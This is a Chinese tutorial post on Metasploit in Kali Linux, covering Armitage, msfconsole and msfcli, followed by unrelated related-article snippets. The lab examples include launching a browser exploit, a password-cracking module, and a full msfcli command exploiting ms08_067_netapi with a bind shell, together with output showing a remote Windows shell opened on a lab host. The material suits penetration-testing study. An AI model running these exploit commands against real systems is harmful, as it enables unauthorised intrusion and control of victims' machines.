Kali-linux使用Metasploit基础

news2024/12/23 1:21:21

Metasploit是一款开源的安全漏洞检测工具。它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。当用户第一次接触Metasploit渗透测试框架软件(MSF)时,可能会被它提供如此多的接口、选项、变量和模块所震撼,而感觉无所适从。Metasploit软件为它的基础功能提供了多个用户接口,包括终端、命令行和图形化界面等。本节将介绍Metasploit下各种接口的使用方法。

6.2.1 Metasploit的图形管理工具Armitage

Armitage组件是Metasploit框架中一个完全交互式的图形化用户接口,由Raphael Mudge所开发。Armitage工具包含Metasploit控制台,通过使用其标签特性,用户可以看到多个Metasploit控制台或多个Meterpreter会话。

使用Armitage工具。具体操作步骤如下所示。

(1)启动Metasploit服务。在使用Armitage工具前,必须将Metasploit服务启动。否则,无法运行Armitage工具。因为Armitage需要连接到Metasploit服务,才可以启动。在Kali桌面依次选择“应用程序”|Kali Linux|“系统服务”|Metasploit|community/pro start命令启动Metasploit服务,将输出如下所示的信息:

[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user 'msf3'…
Creating metasploit database 'msf3'…
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).

从输出的信息中可以看到PostgreSQL 9.1数据库服务已启动,并创建了数据库用户和数据库。

(2)启动Armitage工具。在Kali桌面依次选择“应用程序”|Kali Linux|“漏洞利用工具集”|“网络漏洞利用”|armitage命令,如图6.3所示。或者在终端运行armitage命令启动Armitage工具,如下所示:

root@kali:~# armitage

图6.3 启动armitage界面

(3)启动armitage工具后,将显示如图6.4所示的界面。

图6.4 连接Metasploit界面

(4)在该界面显示了连接Metasploit服务的基本信息。在该界面单击Connect按钮,将显示如图6.5所示的界面。

图6.5 启动Metasploit

(5)该界面提示是否要启动Metasploit的RPC服务。单击“是(Y)”按钮,将显示如图6.6所示的界面。

图6.6 连接Metasploit界面

(6)该界面显示了连接Metasploit的一个进度。当成功连接到Metasploit服务的话,将显示如图6.7所示的界面。

图6.7 Armitage初始界面

(7)该界面共有三个部分,这里把它们分别标记为A、B和C。下面分别介绍这三部分。

  • A:这部分显示的是预配置模块。用户可以在模块列表中使用空格键搜索提供的模块。
  • B:这部分显示活跃的目标系统,用户能执行利用漏洞攻击。
  • C:这部分显示多个Metasploit标签。这样,就可以运行多个Meterpreter命令或控制台会话,并且同时显示。

【实例6-1】演示使用Armitage工具做渗透测试。具体操作步骤如下所示。

(1)启动Armitage工具,界面如图6.7所示。从该界面可以看到默认没有扫描到任何主机。这里通过扫描,找到本网络中的所有主机。

(2)在Armitage工具的菜单栏中依次选择Hosts|Nmap Scan|Quick Scan命令,将显示如图6.8所示的界面。

图6.8 输入扫描范围

(3)在该界面输入要扫描的网络范围,这里输入的网络范围是192.168.41.0/24。然后单击“确定”按钮,将开始扫描。扫描完成后,将显示如图6.9所示的界面。

图6.9 扫描结果

(4)从该界面可以看到,弹出了一个扫描完成对话框,此时单击“确定”按钮即可。并且在目标系统的窗口中,显示了三台主机。这三台主机就是扫描到的主机。从扫描完成的对话框中可以看到提示建议选择Attacks|Find Attacks命令,将可以渗透攻击目标系统。

(5)在菜单栏中依次选择Attacks|Find Attacks命令,运行完后将显示如图6.10所示的界面。

图6.10 消息

(6)从该界面可以看到攻击分析完成,并且右击扫描到的主机将会看到有一个Attack菜单,如图6.11所示。

图6.11 Attack菜单

(7)从该界面可以看到在目标主机的菜单中出现了Attack选项,在该菜单中共有五个选项。在没有运行Find Attacks命令前,只要Services、Scan和Host三个选项。这里扫描到的主机屏幕都是黑色,这是因为还没有识别出操作系统的类型。此时可以在菜单栏中依次选择Hosts|Nmap Scan|Quick Scan(OS detect)命令,扫描操作系统类型。扫描完成后,将显示操作系统的默认图标。

(8)扫描操作系统。扫描完成后,将显示如图6.12所示的界面。

图6.12 扫描的操作系统

(9)从该界面可以看到扫描到的目标主机,屏幕发生了变化。此时就可以选择目标,进行渗透攻击。

(10)此时,可以在预配置模块窗口选择模块渗透攻击目标系统,如选择渗透攻击浏览器模块。在预配置模块中依次选择exploit|windows|browser|adobe_cooltype_sing模块,双击adobe_cooltype_sing模块,将显示如图6.13所示的界面。

图6.13 模块配置选项

(11)该界面显示了adobe_cooltype_sing模块的默认配置选项信息。这些选项的默认值,可以通过双击默认值修改。设置完成后,单击Launch按钮,在Armitage窗口将显示如图6.14所示的界面。

图6.14 渗透攻击结果

(12)从该界面可以看到,使用adobe_cooltype_sing模块渗透攻击的过程。从最后的信息中可以看到,渗透攻击成功运行。以后某台主机访问http://192.168.41.235:8080/JEdB2oma7AEGV7G链接时,将会在目标主机上创建一个名为JEdB2oma7AEGV7G的PDF文件。只要有目标主机访问该链接,Armitage控制台会话中将会显示访问的主机,如图6.15所示。

图6.15 攻击信息

(13)从该界面可以看到主机192.168.41.146,访问了http://192.168.41.235:8080/JEdB2oma7AEGV7G链接。并且,可以看到在主机192.168.41.146上创建了PDF文件。

6.2.2 控制Metasploit终端(MSFCONSOLE)

MSF终端(MSFCONSOLE)是目前Metasploit框架最为流行的用户接口,而且也是非常灵活的。因为MSF终端是Metasploit框架中最灵活、功能最丰富及支持最好的工具之一。MSFCONSOLE主要用于管理Metasploit数据库,管理会话、配置并启动Metasploit模块。本质上来说,就是为了利用漏洞,MSFCONSOLE将获取用户连接到主机的信息,以至于用户能启动渗透攻击目标系统。本小节将介绍Metasploit终端(MSFCONSOLE)。

当使用Metasploit控制台时,用户将使用一些通用的命令,如下所示。

  • help:该命令允许用户查看执行命令的帮助信息。
  • use module:该命令允许用户加载选择的模块。
  • set optionname module:该命令允许用户为模块设置不同的选项。
  • run:该命令用来启动一个非渗透攻击模块。
  • search module:该命令允许用户搜索一个特定的模块。
  • exit:该命令允许用户退出MSFCONSOLE。

MSFCONSOLE漏洞利用的具体操作步骤如下所示。

(1)在终端启动MSFCONSOLE,执行命令如下所示:

root@kali:~# msfconsole

执行以上命令后,输出信息如下所示:

输出的信息出现msf>提示符,表示登录MSFCONSOLE成功。此时就可以在该命令行运行其他任何命令。

(2)使用search命令搜索所有有效的Linux模块。对于模块用户每次想要执行一个动作,这是一个很好的主意。主要原因是Metasploit各种版本之间,模块的路径可能有改变。执行命令如下所示:

msf> search linux

执行以上命令后,输出信息如下所示:

输出的信息就是Metasploit中所有有效的模块。输出的信息显示为4列,分别表示模块名称、公开时间、等级及描述。以上输出的内容较多,但是由于篇幅的原因,这里只列出了一少部分内容,省略的内容使用省略号(……)代替。

(3)使用John Ripper linux密码破解模块。执行命令如下所示:

msf > use auxiliary/analyze/jtr_linux
msf auxiliary(jtr_linux) >

输出的信息表示已加载jtr_linux模块。

(4)查看模块的有效选项。执行命令如下所示:

从输出结果中可以看到jtr_linux模块有5个有效的选项,如Crypt、JOHN_BASE、JOHE_PATH、Munge和Wordlist。在输出的信息中,对这5个选项分别有详细的描述。

(5)现在用户有一个选项的列表,这些选项为运行jtr_linux模块。用户能设置独特的选项,使用set命令。设置JOHN_PATH选项,如下所示:

msf auxiliary(jtr_linux) > set JOHN_PATH /usr/share/metasploit- framework/data/john/ wordlists/password.lst
JOHN_PATH => /usr/share/metasploit-framework/data/john/wordlists/ password.lst

(6)现在运行渗透攻击,执行命令如下所示:

msf auxiliary(jtr_linux) > exploit

6.2.3 控制Metasploit命令行接口(MSFCLI)

本小节将介绍Metasploit命令行接口(MSFCLI)。为了完成Metasploit的攻击任务,需要使用一个接口。MSFCLI刚好实现这个功能。为了学习Metasploit或测试/写一个新的渗透攻击,MSFCLI是一个很好的接口。

MSF命令行和MSF终端为Metasploit框架访问提供了两种截然不同的途径,MSF终端以一种用户友好的模式来提供交互方式,用于访问软件所有的功能特性,而MSFCLI则主要考虑脚本处理和与其他命令行工具的互操作性。MSFCLI常用的命令如下所示。

  • msfcli:加载所有有效渗透攻击MSFCLI的列表。
  • msfcli -h:查看MSFCLI帮助文档。
  • msfcli [PATH TO EXPLOIT] [options = value]:启动渗透攻击的语法。

MSF命令行MSFCLI的使用如下所示。

(1)启动MSF命令行(MSFCLI)。启动的过程需要一点时间,请耐心等待,这取决于用户系统的速度。还要注意,随着MSFCLI负载,可利用的有效列表将显示出来。执行命令如下所示:

root@kali:~# msfcli
[*] Please wait while we load the module tree…

(2)查看MSFCLI帮助文档。执行命令如下所示:

以上输出的信息显示了msfcli命令的帮助文档。通过查看这些帮助文档,可以了解一个模块的使用说明和使用模式列表。

(3)为了证明前面所说的帮助文档信息。这里将选择A选项,显示模块的高级选项。执行命令如下所示:

以上信息显示了xmas模块的高级选项。输出信息中对每个选项都有3部分介绍,包括名称、当前设置及描述信息。

(4)此外,用户可以使用S模式列出当前模块的一个摘要信息。这个摘要模式是查看所有有效选项的一个很好的方法。大部分选项是可选的。但是为了使用户设置目标系统或端口,通常有些选项是必须的。启动摘要模式渗透攻击,执行命令如下所示:

以上信息为xmas模块的摘要信息。这些信息包括xmas模块的名称、位置、许可证、级别、提供商、基本选项及描述等。

(5)为显示渗透攻击有效的选项列表,可以使用O模式。该模式是用来配置渗透攻击模块的,每个渗透攻击模块有一套不同的设置选项,也可能没有。所有必须的选项必须是渗透攻击允许执行之前设置。从下面的输出信息中,可以看到许多必须的选项默认已设置。如果是这样,就不需要更新这些选项值了,除非用户想要修改它。执行命令如下所示:

输出的信息显示了xmas模块需要的配置选项,如BATCHSIZE、PORTS、RHOSTS、SNAPLEN、THREADS和TIMEOUT。

(6)用户可以使用E模式运行渗透攻击测试。执行命令如下所示:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas E

【实例6-2】使用MSFCLI演示渗透攻击,这里以ms08_067_netapi模块为例。具体操作步骤如下所示。

(1)查看ms08_067_netapi模块的配置参数选项。执行命令如下所示:

从输出的信息中可以看到该模块有三个配置选项,分别是RHOST、RPORT和SMBPIPE。

(2)查看ms08_067_netapi模块中可用的攻击载荷。执行命令如下所示:

输出的信息显示了ms08_067_netapi模块可用的攻击载荷。该模块可以攻击的载荷很多,由于章节的原因,中间部分使用省略号(……)取代了。

(3)这里选择使用shell_bind/tcp攻击载荷进行渗透测试。如下所示:

root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.41.146 PAYLOAD= windows/shell/bind_tcp E
[*] Initializing modules…
RHOST => 192.168.41.146
PAYLOAD => windows/shell/bind_tcp
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability…
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.41.146
[*] Command shell session 1 opened (192.168.41.156:60335 -> 192.168.41.146:4444) at 2014-06-06 10:12:06 +0800
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

从输出的信息中,可以看到成功的从远程系统上拿到了一个Windows命令行的Shell。这表示渗透攻击成功。
学习路线及笔记icon-default.png?t=N3I4https://mp.weixin.qq.com/s/KQx_eIwdjCj3QdErxKb7ZQ

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/531639.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

限速神器RateLimiter源码解析 | 京东云技术团队

作者:京东科技 李玉亮 目录指引 限流场景 软件系统中一般有两种场景会用到限流: •场景一、高并发的用户端场景。 尤其是C端系统,经常面对海量用户请求,如不做限流,遇到瞬间高并发的场景,则可能压垮系统…

优秀的产品经理需要具备的能力和素质

1. 适应性强。市场不断发展,用户的需求也在不断变化。如果产品不能满足需求,那就改变路线;如果会议不再有效,取消它;如果你需要更多的帮助,尽管开口。了解沉没成本,并采取措施使产品朝着正确的方…

Nature Neuroscience:焦虑为何导致“社恐”?李晓明团队揭示相关脑机制

焦虑是一种常见的负面情绪,也是当今社会的一个热词。在刚刚落幕的《脱口秀大会第五季》中,鸟鸟以一句“躺的时候想卷,卷的时候想躺,永远年轻,永远左右为难,一切都是最不好的安排。”戳中了无数观众的“焦”…

服务器架构-架构图(三)

前言 项目不同,架构自然也不同,所以没有唯一的架构,只有合适项目的架构。 这章以休闲类手游为例。 1:架构图 2张差别,就是中间件 用中间件 主要 异步化提升性能、降低耦合度、流量削峰 根据需求选择一种服务器间的消息…

Sui NFT应用实例:将NFT变成咖啡!

近期在台北智慧城市峰会和博览会中,展示了使用NFT购买咖啡的系统。 在2023年3月28–31日举行的台北智慧城市峰会和博览会中,参与者向大家演示了如何使用NFT兑换一杯香醇的咖啡。此系统由Sui基金会、MomentX以及Suia共同创建,演示了如何使用在…

【牛客网面试必刷TOP101】链表篇(一)

【牛客网面试必刷TOP101】链表篇(一) 前言刷题网站刷题!BM1 反转链表思路一:用栈解决思路二:双链表求解思路三:递归解决 总结 BM2 链表内指定区间反转思路一:头插法迭代思路二:递归 …

几乎涵盖微服务所有操作,阿里2023最新SpringCloudAlibaba实战进阶笔记太强了

近两年,“大厂裁员”总是凭实力冲上各大媒体头条,身在局中的我们早已习以为常。国内的京东,阿里,腾讯,字节,快手,小米等互联网公司都以不同程度的裁员比例向社会输送人才。大量有大厂经验的卷王…

常用性能指标、性能指标评估及性能测试通过标准

一、常用性能指标 1、并发用户数: 指同一时间点对系统进行操作的用户数。准确说为"同时向服务器发送服务请求,给服务器产生压力的用户数量" 并发用户数和注册用户数、在线用户数的概念不同: 并发用户数一定会对服务器产生压力的&#xff0…

Mac FortiClient VPN一直连接不上?正确的安装步骤来了!

Mac FortiClient完整版安装 1、下载FortiClient 这里使用FortiClient 7.0.7的版本。登录fortiClient 7.x 网站下载FortiClient_7.0.7.0245_macosx.dmg。 2、当然要是不想注册,也可以点击这里! 3、或者安装我这里的固定版本【百度网盘】提取码&#xff…

极狐GitLab as Code,全面升级你的 GitOps 体验

💡 近日,由微软和英特尔联合发起的第二届开源云原生开发者日(Open Source Cloud Native Developer Day)上海站顺利落幕。极狐(GitLab) 资深云原生架构师郭旭东在会上进行了《深度探索 GitOps 平台的更多可能》主题演讲&#xff0c…

关于wxapkg路径的一些问题

1 下载安装夜神模拟器。 官网地址:https://www.yeshen.com在模拟器中安装微信,可以下载apk后拖进去,也可在里面下载。不需要RE文件管理器,目前夜神自带Amaze文件管理器,一样的。路径地址为: /data/data/c…

Ubuntu16.04布置CenterFusion记录

安装细节 CenterFusion/src/tools/convert_nuScenes.py内容修改 如果你用的是nuscenes数据集中的Mini部分,那就把convert_nuScenes.py第27行内容中的其他部分注释掉 convert_nuScenes.py在56行处,将数量修改为3 nuscenes-devkit下载 将nuscenes-dev…

计算机网络实验(ensp)-实验1:初识eNSP仿真软件

目录 实验报告: 实验操作 1.建立网络拓扑图并开启设备 2.配置路由器 1.输入命名:sys 从用户视图切换到系统视图 2.输入命名:sysname 姓名 修改路由器名字 3.输入命名:interface g0/0/0 进入端口视图g0…

开源同城跑腿系统(PHP版)

同城跑腿系统的优点在于,它可以为用户提供方便快捷的服务,避免了用户自己跑腿的麻烦和时间成本,同时也为跑腿人员提供了一种灵活的兼职方式 此系统是一款基于likeadmin-php开发的跑腿小程序系统,提供全部前后台无加密源代码&…

知乎高赞回答|只需5分钟,一文教你理解结构化和非结构化数据!

什么是结构化数据? 结构化数据:指关系模型数据,即以关系数据库表形式管理的数据,结合到典型场景中更容易理解,比如企业ERP、OA、HR里的数据。 什么是非结构化数据? 非结构化数据:指数据结构不…

el-tree饿了么elementUI tree树结构插件设置全部展开折叠

效果如上图↑ // 折叠所有节点 foldAllNodes(type) {let treeNodes this.$refs[type _tree].store._getAllNodes()for (var i 0; i < treeNodes.length; i) {treeNodes[i].expanded false;} }, // 展开所有节点 expandAllNodes(type) {let treeNodes this.$refs[type …

Centos7使用for循环语句批量修改文件名

O、前言 虽然单个文件更名&#xff0c;我们可以使用mv命令进行更名。那几百个文件更改&#xff0c;这个工程量比较大&#xff0c;下面介绍一下如何使用for循环语句来批量修改文件名。 一、环境介绍 1.Centos版本:Centos7-X86_64-Eeverything2009 二、命令介绍 这里主要用到ba…

企业电子商务系统 b2b2c o2o 多商家入驻商城 直播带货商城 电子商务

一个好的SpringCloudSpringBoot b2b2c 电子商务平台涉及哪些技术、运营方案&#xff1f;以下是我结合公司的产品做的总结&#xff0c;希望可以帮助到大家&#xff01; 搜索体验小程序&#xff1a;海哇 1. 涉及平台 平台管理、商家端&#xff08;PC端、手机端&#xff09;、买家…

语音常识与基本概念

img { margin: auto; display: block } 数字信号 连续时间信号&#xff1a;在连续时间范围内定义的信号&#xff0c;信号的幅度可以是连续的(模拟信号)&#xff0c;也可以是离散的 离散时间信号&#xff1a;时间为离散变量的信号&#xff0c;即独立变量时间被量化了&#xff0c…

时钟同步-注意客户端和服务端都需要开启123端口 udp协议

确认时钟源 chronyc sources -v chronyc tracking Linux ❉ Chronyd时间同步服务器详解_wangjie722703的博客-CSDN博客 local stratum 10: 即使自己未能通过网络时间服务器同步到时间,也允许将本地时间作为标准时间授时给其它客户端 确认 端口是否打开 Nmap -sU -p 123 192…